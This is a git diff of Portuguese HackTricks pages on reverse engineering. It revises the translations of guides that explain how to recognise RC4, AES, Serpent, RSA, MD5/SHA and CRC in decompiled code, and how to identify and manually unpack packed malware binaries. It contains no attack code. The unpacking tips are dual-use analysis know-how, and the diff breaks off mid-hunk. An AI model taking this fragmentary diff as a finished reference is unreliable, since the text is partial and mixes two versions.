||||||
* [https://www.dcode.fr/vigenere-cipher](https://www.dcode.fr/vigenere-cipher)
|
* [https://www.dcode.fr/vigenere-cipher](https://www.dcode.fr/vigenere-cipher)
|
||||||
* [https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx](https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx)
|
* [https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx](https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx)
|
||||||
|
|
||||||
## Criptografia Forte
|
## Cripto Forte
|
||||||
|
|
||||||
### Fernet
|
### Fernet
|
||||||
|
|
||||||
|
@ -287,11 +287,11 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Suporte ao HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -3,25 +3,25 @@
|
||||||
## Algoritmos Criptográficos/Compressão
|
## Algoritmos Criptográficos/Compressão
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Treinamento HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Apoie o HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
## Identificando Algoritmos
|
## Identificando Algoritmos
|
||||||
|
|
||||||
Se você se deparar com um código **usando deslocamentos à direita e à esquerda, xors e várias operações aritméticas**, é altamente provável que seja a implementação de um **algoritmo criptográfico**. Aqui serão mostradas algumas maneiras de **identificar o algoritmo usado sem precisar reverter cada etapa**.
|
Se você se deparar com um código **usando deslocamentos à direita e à esquerda, xors e várias operações aritméticas**, é altamente provável que seja a implementação de um **algoritmo criptográfico**. Aqui serão mostradas algumas maneiras de **identificar o algoritmo que está sendo usado sem precisar reverter cada passo**.
|
||||||
|
|
||||||
### Funções de API
|
### Funções da API
|
||||||
|
|
||||||
**CryptDeriveKey**
|
**CryptDeriveKey**
|
||||||
|
|
||||||
|
@ -29,46 +29,46 @@ Se esta função for usada, você pode descobrir qual **algoritmo está sendo us
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (156).png>)
|
![](<../../.gitbook/assets/image (156).png>)
|
||||||
|
|
||||||
Consulte aqui a tabela de algoritmos possíveis e seus valores atribuídos: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id)
|
Verifique aqui a tabela de possíveis algoritmos e seus valores atribuídos: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id)
|
||||||
|
|
||||||
**RtlCompressBuffer/RtlDecompressBuffer**
|
**RtlCompressBuffer/RtlDecompressBuffer**
|
||||||
|
|
||||||
Comprime e descomprime um buffer de dados fornecido.
|
Comprime e descomprime um determinado buffer de dados.
|
||||||
|
|
||||||
**CryptAcquireContext**
|
**CryptAcquireContext**
|
||||||
|
|
||||||
De [documentação](https://learn.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptacquirecontexta): A função **CryptAcquireContext** é usada para adquirir um identificador para um contêiner de chave específico dentro de um provedor de serviços criptográficos (CSP) específico. **Este identificador retornado é usado em chamadas para funções CryptoAPI** que usam o CSP selecionado.
|
Dos [documentos](https://learn.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptacquirecontexta): A função **CryptAcquireContext** é usada para adquirir um identificador para um determinado contêiner de chaves dentro de um determinado provedor de serviços criptográficos (CSP). **Este identificador retornado é usado em chamadas para funções da CryptoAPI** que utilizam o CSP selecionado.
|
||||||
|
|
||||||
**CryptCreateHash**
|
**CryptCreateHash**
|
||||||
|
|
||||||
Inicia o processo de hash de um fluxo de dados. Se esta função for usada, você pode descobrir qual **algoritmo está sendo usado** verificando o valor do segundo parâmetro:
|
Inicia a hash de um fluxo de dados. Se esta função for usada, você pode descobrir qual **algoritmo está sendo usado** verificando o valor do segundo parâmetro:
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (549).png>)
|
![](<../../.gitbook/assets/image (549).png>)
|
||||||
|
|
||||||
\
|
\
|
||||||
Consulte aqui a tabela de algoritmos possíveis e seus valores atribuídos: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id)
|
Verifique aqui a tabela de possíveis algoritmos e seus valores atribuídos: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id)
|
||||||
|
|
||||||
### Constantes de Código
|
### Constantes de código
|
||||||
|
|
||||||
Às vezes é muito fácil identificar um algoritmo graças ao fato de que ele precisa usar um valor especial e único.
|
Às vezes, é realmente fácil identificar um algoritmo graças ao fato de que ele precisa usar um valor especial e único.
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (833).png>)
|
![](<../../.gitbook/assets/image (833).png>)
|
||||||
|
|
||||||
Se você pesquisar pela primeira constante no Google, é isso que você obtém:
|
Se você pesquisar a primeira constante no Google, isso é o que você obtém:
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (529).png>)
|
![](<../../.gitbook/assets/image (529).png>)
|
||||||
|
|
||||||
Portanto, você pode assumir que a função decompilada é um **calculador sha256**.\
|
Portanto, você pode assumir que a função decompilada é um **calculador de sha256.**\
|
||||||
Você pode pesquisar qualquer uma das outras constantes e obterá (provavelmente) o mesmo resultado.
|
Você pode pesquisar qualquer uma das outras constantes e provavelmente obterá o mesmo resultado.
|
||||||
|
|
||||||
### Informações de Dados
|
### informações de dados
|
||||||
|
|
||||||
Se o código não tiver nenhuma constante significativa, pode estar **carregando informações da seção .data**.\
|
Se o código não tiver nenhuma constante significativa, pode estar **carregando informações da seção .data**.\
|
||||||
Você pode acessar esses dados, **agrupar o primeiro dword** e pesquisar no Google como fizemos na seção anterior:
|
Você pode acessar esses dados, **agrupar o primeiro dword** e pesquisá-lo no Google, como fizemos na seção anterior:
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (531).png>)
|
![](<../../.gitbook/assets/image (531).png>)
|
||||||
|
|
||||||
Neste caso, se você procurar por **0xA56363C6**, você pode descobrir que está relacionado às **tabelas do algoritmo AES**.
|
Neste caso, se você procurar **0xA56363C6**, pode descobrir que está relacionado às **tabelas do algoritmo AES**.
|
||||||
|
|
||||||
## RC4 **(Criptografia Simétrica)**
|
## RC4 **(Criptografia Simétrica)**
|
||||||
|
|
||||||
|
@ -77,14 +77,14 @@ Neste caso, se você procurar por **0xA56363C6**, você pode descobrir que está
|
||||||
É composto por 3 partes principais:
|
É composto por 3 partes principais:
|
||||||
|
|
||||||
* **Estágio de inicialização/**: Cria uma **tabela de valores de 0x00 a 0xFF** (256bytes no total, 0x100). Esta tabela é comumente chamada de **Caixa de Substituição** (ou SBox).
|
* **Estágio de inicialização/**: Cria uma **tabela de valores de 0x00 a 0xFF** (256bytes no total, 0x100). Esta tabela é comumente chamada de **Caixa de Substituição** (ou SBox).
|
||||||
* **Estágio de embaralhamento**: Irá **percorrer a tabela** criada anteriormente (loop de 0x100 iterações, novamente) modificando cada valor com bytes **semi-aleatórios**. Para criar esses bytes semi-aleatórios, a chave RC4 é usada. As chaves RC4 podem ter **entre 1 e 256 bytes de comprimento**, no entanto, geralmente é recomendado que seja acima de 5 bytes. Comumente, as chaves RC4 têm 16 bytes de comprimento.
|
* **Estágio de embaralhamento**: Irá **percorrer a tabela** criada anteriormente (loop de 0x100 iterações, novamente) modificando cada valor com bytes **semi-aleatórios**. Para criar esses bytes semi-aleatórios, a **chave RC4 é usada**. As **chaves RC4** podem ter **entre 1 e 256 bytes de comprimento**, no entanto, geralmente é recomendado que sejam superiores a 5 bytes. Comumente, as chaves RC4 têm 16 bytes de comprimento.
|
||||||
* **Estágio XOR**: Por fim, o texto simples ou cifrado é **XORado com os valores criados anteriormente**. A função para criptografar e descriptografar é a mesma. Para isso, um **loop pelos 256 bytes criados** será executado quantas vezes forem necessárias. Isso é geralmente reconhecido em um código decompilado com um **%256 (mod 256)**.
|
* **Estágio XOR**: Finalmente, o texto simples ou o texto cifrado é **XORed com os valores criados anteriormente**. A função para criptografar e descriptografar é a mesma. Para isso, um **loop pelos 256 bytes criados** será realizado quantas vezes forem necessárias. Isso geralmente é reconhecido em um código decompilado com um **%256 (mod 256)**.
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
**Para identificar um RC4 em um código de desmontagem/decompilado, verifique 2 loops de tamanho 0x100 (com o uso de uma chave) e em seguida um XOR dos dados de entrada com os 256 valores criados anteriormente nos 2 loops, provavelmente usando um %256 (mod 256)**
|
**Para identificar um RC4 em um código desassemblado/decompilado, você pode verificar 2 loops de tamanho 0x100 (com o uso de uma chave) e, em seguida, um XOR dos dados de entrada com os 256 valores criados anteriormente nos 2 loops, provavelmente usando um %256 (mod 256)**
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### **Estágio de Inicialização/Caixa de Substituição:** (Observe o número 256 usado como contador e como um 0 é escrito em cada lugar dos 256 caracteres)
|
### **Estágio de Inicialização/Caixa de Substituição:** (Note o número 256 usado como contador e como um 0 é escrito em cada lugar dos 256 chars)
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (584).png>)
|
![](<../../.gitbook/assets/image (584).png>)
|
||||||
|
|
||||||
|
@ -100,9 +100,9 @@ Neste caso, se você procurar por **0xA56363C6**, você pode descobrir que está
|
||||||
|
|
||||||
### **Características**
|
### **Características**
|
||||||
|
|
||||||
* Uso de **caixas de substituição e tabelas de pesquisa**
|
* Uso de **caixas de substituição e tabelas de consulta**
|
||||||
* É possível **distinguir o AES graças ao uso de valores específicos de tabela de pesquisa** (constantes). _Observe que a **constante** pode ser **armazenada** no binário **ou criada**_ _**dinamicamente**._
|
* É possível **distinguir o AES graças ao uso de valores específicos de tabelas de consulta** (constantes). _Note que a **constante** pode ser **armazenada** no binário **ou criada** _**dinamicamente**._
|
||||||
* A **chave de criptografia** deve ser **divisível** por **16** (geralmente 32B) e geralmente um **IV** de 16B é usado.
|
* A **chave de criptografia** deve ser **divisível** por **16** (geralmente 32B) e geralmente é usado um **IV** de 16B.
|
||||||
|
|
||||||
### Constantes SBox
|
### Constantes SBox
|
||||||
|
|
||||||
|
@ -112,30 +112,31 @@ Neste caso, se você procurar por **0xA56363C6**, você pode descobrir que está
|
||||||
|
|
||||||
### Características
|
### Características
|
||||||
|
|
||||||
* É raro encontrar algum malware usando, mas existem exemplos (Ursnif)
|
* É raro encontrar algum malware usando, mas há exemplos (Ursnif)
|
||||||
* Fácil de determinar se um algoritmo é Serpent ou não com base em seu comprimento (função extremamente longa)
|
* Simples de determinar se um algoritmo é Serpent ou não com base em seu comprimento (função extremamente longa)
|
||||||
|
|
||||||
### Identificação
|
### Identificando
|
||||||
|
|
||||||
Na seguinte imagem, observe como a constante **0x9E3779B9** é usada (observe que esta constante também é usada por outros algoritmos criptográficos como **TEA** -Tiny Encryption Algorithm).\
|
Na imagem a seguir, note como a constante **0x9E3779B9** é usada (note que esta constante também é usada por outros algoritmos criptográficos como **TEA** -Tiny Encryption Algorithm).\
|
||||||
Observe também o **tamanho do loop** (**132**) e o **número de operações XOR** nas instruções de **desmontagem** e no **exemplo de código**:
|
Também note o **tamanho do loop** (**132**) e o **número de operações XOR** nas instruções de **desmontagem** e no **exemplo de código**:
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (547).png>)
|
![](<../../.gitbook/assets/image (547).png>)
|
||||||
|
|
||||||
Como mencionado anteriormente, este código pode ser visualizado dentro de qualquer decompilador como uma **função muito longa** pois **não há saltos** dentro dela. O código decompilado pode se parecer com o seguinte:
|
Como mencionado anteriormente, este código pode ser visualizado dentro de qualquer decompilador como uma **função muito longa**, pois **não há saltos** dentro dele. O código decompilado pode parecer o seguinte:
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (513).png>)
|
![](<../../.gitbook/assets/image (513).png>)
|
||||||
|
|
||||||
Portanto, é possível identificar este algoritmo verificando o **número mágico** e os **XORs iniciais**, vendo uma **função muito longa** e **comparando** algumas **instruções** da função longa **com uma implementação** (como o deslocamento à esquerda por 7 e a rotação à esquerda por 22).
|
Portanto, é possível identificar este algoritmo verificando o **número mágico** e os **XORs iniciais**, vendo uma **função muito longa** e **comparando** algumas **instruções** da longa função **com uma implementação** (como o deslocamento à esquerda por 7 e a rotação à esquerda por 22).
|
||||||
|
|
||||||
## RSA **(Criptografia Assimétrica)**
|
## RSA **(Criptografia Assimétrica)**
|
||||||
|
|
||||||
### Características
|
### Características
|
||||||
|
|
||||||
* Mais complexo do que algoritmos simétricos
|
* Mais complexo do que algoritmos simétricos
|
||||||
* Não há constantes! (implementações personalizadas são difíceis de determinar)
|
* Não há constantes! (implementações personalizadas são difíceis de determinar)
|
||||||
* KANAL (um analisador de criptografia) falha em mostrar dicas sobre RSA, pois depende de constantes.
|
* KANAL (um analisador criptográfico) falha em mostrar dicas sobre RSA, pois depende de constantes.
|
||||||
|
|
||||||
### Identificação por comparações
|
### Identificando por comparações
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (1113).png>)
|
![](<../../.gitbook/assets/image (1113).png>)
|
||||||
|
|
||||||
|
@ -146,12 +147,12 @@ Portanto, é possível identificar este algoritmo verificando o **número mágic
|
||||||
|
|
||||||
### Características
|
### Características
|
||||||
|
|
||||||
* 3 funções: Inicializar, Atualizar, Finalizar
|
* 3 funções: Init, Update, Final
|
||||||
* Funções de inicialização semelhantes
|
* Funções de inicialização semelhantes
|
||||||
|
|
||||||
### Identificação
|
### Identificar
|
||||||
|
|
||||||
**Inicializar**
|
**Init**
|
||||||
|
|
||||||
Você pode identificar ambos verificando as constantes. Note que o sha\_init tem 1 constante que o MD5 não tem:
|
Você pode identificar ambos verificando as constantes. Note que o sha\_init tem 1 constante que o MD5 não tem:
|
||||||
|
|
||||||
|
@ -159,18 +160,18 @@ Você pode identificar ambos verificando as constantes. Note que o sha\_init tem
|
||||||
|
|
||||||
**Transformação MD5**
|
**Transformação MD5**
|
||||||
|
|
||||||
Observe o uso de mais constantes
|
Note o uso de mais constantes
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (253) (1) (1).png>)
|
![](<../../.gitbook/assets/image (253) (1) (1).png>)
|
||||||
|
|
||||||
## CRC (hash)
|
## CRC (hash)
|
||||||
|
|
||||||
* Menor e mais eficiente, pois sua função é encontrar alterações acidentais nos dados
|
* Menor e mais eficiente, pois sua função é encontrar mudanças acidentais nos dados
|
||||||
* Usa tabelas de pesquisa (para que você possa identificar constantes)
|
* Usa tabelas de consulta (então você pode identificar constantes)
|
||||||
|
|
||||||
### Identificação
|
### Identificar
|
||||||
|
|
||||||
Verifique as **constantes da tabela de pesquisa**:
|
Verifique **constantes da tabela de consulta**:
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (508).png>)
|
![](<../../.gitbook/assets/image (508).png>)
|
||||||
|
|
||||||
|
@ -183,14 +184,29 @@ Um algoritmo de hash CRC se parece com:
|
||||||
### Características
|
### Características
|
||||||
|
|
||||||
* Constantes não reconhecíveis
|
* Constantes não reconhecíveis
|
||||||
* Você pode tentar escrever o algoritmo em Python e procurar por coisas semelhantes online
|
* Você pode tentar escrever o algoritmo em python e procurar por coisas semelhantes online
|
||||||
|
|
||||||
### Identificação
|
### Identificar
|
||||||
|
|
||||||
O gráfico é bastante extenso:
|
O gráfico é bastante grande:
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (207) (2) (1).png>)
|
![](<../../.gitbook/assets/image (207) (2) (1).png>)
|
||||||
|
|
||||||
Verifique **3 comparações para reconhecê-lo**:
|
Verifique **3 comparações para reconhecê-lo**:
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (430).png>)
|
![](<../../.gitbook/assets/image (430).png>)
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -8,7 +8,7 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
|
||||||
|
|
||||||
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
@ -17,7 +17,7 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
|
||||||
|
|
||||||
# Identificando binários empacotados
|
# Identificando binários empacotados
|
||||||
|
|
||||||
* **falta de strings**: É comum encontrar que binários empacotados não têm quase nenhuma string.
|
* **falta de strings**: É comum encontrar que binários empacotados não têm quase nenhuma string
|
||||||
* Muitas **strings não utilizadas**: Além disso, quando um malware usa algum tipo de empacotador comercial, é comum encontrar muitas strings sem referências cruzadas. Mesmo que essas strings existam, isso não significa que o binário não esteja empacotado.
|
* Muitas **strings não utilizadas**: Além disso, quando um malware usa algum tipo de empacotador comercial, é comum encontrar muitas strings sem referências cruzadas. Mesmo que essas strings existam, isso não significa que o binário não esteja empacotado.
|
||||||
* Você também pode usar algumas ferramentas para tentar descobrir qual empacotador foi usado para empacotar um binário:
|
* Você também pode usar algumas ferramentas para tentar descobrir qual empacotador foi usado para empacotar um binário:
|
||||||
* [PEiD](http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/PEiD-updated.shtml)
|
* [PEiD](http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/PEiD-updated.shtml)
|
||||||
|
@ -31,7 +31,7 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
|
||||||
* Coloque um **breakpoint** em `VirtualAlloc`, pois isso aloca espaço na memória onde o programa pode escrever código desempacotado. "executar até o código do usuário" ou use F8 para **obter o valor dentro de EAX** após executar a função e "**seguir aquele endereço no dump**". Você nunca sabe se essa é a região onde o código desempacotado será salvo.
|
* Coloque um **breakpoint** em `VirtualAlloc`, pois isso aloca espaço na memória onde o programa pode escrever código desempacotado. "executar até o código do usuário" ou use F8 para **obter o valor dentro de EAX** após executar a função e "**seguir aquele endereço no dump**". Você nunca sabe se essa é a região onde o código desempacotado será salvo.
|
||||||
* **`VirtualAlloc`** com o valor "**40**" como argumento significa Ler+Escrever+Executar (algum código que precisa de execução será copiado aqui).
|
* **`VirtualAlloc`** com o valor "**40**" como argumento significa Ler+Escrever+Executar (algum código que precisa de execução será copiado aqui).
|
||||||
* **Enquanto desempacota** código, é normal encontrar **várias chamadas** para **operações aritméticas** e funções como **`memcopy`** ou **`Virtual`**`Alloc`. Se você se encontrar em uma função que aparentemente apenas realiza operações aritméticas e talvez algum `memcopy`, a recomendação é tentar **encontrar o final da função** (talvez um JMP ou chamada para algum registrador) **ou** pelo menos a **chamada para a última função** e executar até lá, pois o código não é interessante.
|
* **Enquanto desempacota** código, é normal encontrar **várias chamadas** para **operações aritméticas** e funções como **`memcopy`** ou **`Virtual`**`Alloc`. Se você se encontrar em uma função que aparentemente apenas realiza operações aritméticas e talvez algum `memcopy`, a recomendação é tentar **encontrar o final da função** (talvez um JMP ou chamada para algum registrador) **ou** pelo menos a **chamada para a última função** e executar até lá, pois o código não é interessante.
|
||||||
* Enquanto desempacota código, **note** sempre que você **muda a região de memória**, pois uma mudança de região de memória pode indicar o **início do código desempacotado**. Você pode facilmente despejar uma região de memória usando o Process Hacker (processo --> propriedades --> memória).
|
* Enquanto desempacota código, **note** sempre que você **muda a região de memória**, pois uma mudança na região de memória pode indicar o **início do código desempacotado**. Você pode facilmente despejar uma região de memória usando o Process Hacker (processo --> propriedades --> memória).
|
||||||
* Enquanto tenta desempacotar código, uma boa maneira de **saber se você já está trabalhando com o código desempacotado** (para que você possa apenas despejá-lo) é **verificar as strings do binário**. Se em algum momento você realizar um salto (talvez mudando a região de memória) e notar que **muitas mais strings foram adicionadas**, então você pode saber **que está trabalhando com o código desempacotado**.\
|
* Enquanto tenta desempacotar código, uma boa maneira de **saber se você já está trabalhando com o código desempacotado** (para que você possa apenas despejá-lo) é **verificar as strings do binário**. Se em algum momento você realizar um salto (talvez mudando a região de memória) e notar que **muitas mais strings foram adicionadas**, então você pode saber **que está trabalhando com o código desempacotado**.\
|
||||||
No entanto, se o empacotador já contém muitas strings, você pode ver quantas strings contêm a palavra "http" e verificar se esse número aumenta.
|
No entanto, se o empacotador já contém muitas strings, você pode ver quantas strings contêm a palavra "http" e verificar se esse número aumenta.
|
||||||
* Quando você despeja um executável de uma região de memória, pode corrigir alguns cabeçalhos usando [PE-bear](https://github.com/hasherezade/pe-bear-releases/releases).
|
* Quando você despeja um executável de uma região de memória, pode corrigir alguns cabeçalhos usando [PE-bear](https://github.com/hasherezade/pe-bear-releases/releases).
|
||||||
|
@ -46,7 +46,7 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
|
||||||
|
|
||||||
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -1,25 +1,26 @@
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Aprenda e pratique Hacking AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Treinamento AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Treinamento GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Apoie o HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
